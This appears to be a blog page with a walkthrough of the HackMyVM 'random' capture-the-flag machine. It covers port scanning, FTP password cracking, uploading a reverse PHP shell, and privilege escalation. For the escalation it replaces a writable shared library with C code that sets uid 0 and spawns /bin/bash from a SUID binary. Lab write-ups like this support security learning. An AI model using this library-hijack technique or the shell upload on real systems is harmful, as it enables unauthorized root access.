当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor and alan.
crack ftp service, get the user eleanor's password.
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random.
random used Dynamic link library /lib/librooter.so which we can replace.
Disassemble random with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

try a few more times, then get root.
边栏推荐
- 数组的高级操作
- Praying: 1 vulnhub walkthrough
- vim edit mode
- Phpstudy installs Thinkphp6 (problem + solution)
- Query the indexes of all tables in the database and parse them into sql
- Alfa: 1 vulnhub walkthrough
- Baidu positioning js API
- Xiaoyao multi-open emulator ADB driver connection
- 14. JS Statements and Comments, Variables and Data Types
- CTF-网鼎杯往届题目
猜你喜欢
随机推荐
Phpstudy安装Thinkphp6(问题+解决)
When PHP initiates Alipay payment, the order information is garbled and solved
12.什么是JS
hackmyvm: juggling walkthrough
Introduction to PHP (self-study notes)
Batch replace file fonts, Simplified -> Traditional
hackmyvm: again walkthrough
IO stream, encoding table, character stream, character buffer stream
What are the PHP framework?
CTF-网鼎杯往届题目
Shuriken: 1 vulnhub walkthrough
Warzone: 3 (Exogen) vulnhub walkthrough
Several interesting ways to open PHP: from basic to perverted
hackmyvm: kitty walkthrough
Phonebook
12. What is JS
[symfony/finder]最好用的文件操作库
CTF入门笔记之ping
[symfony/mailer] An elegant and easy-to-use mail library
Advanced Operations on Arrays









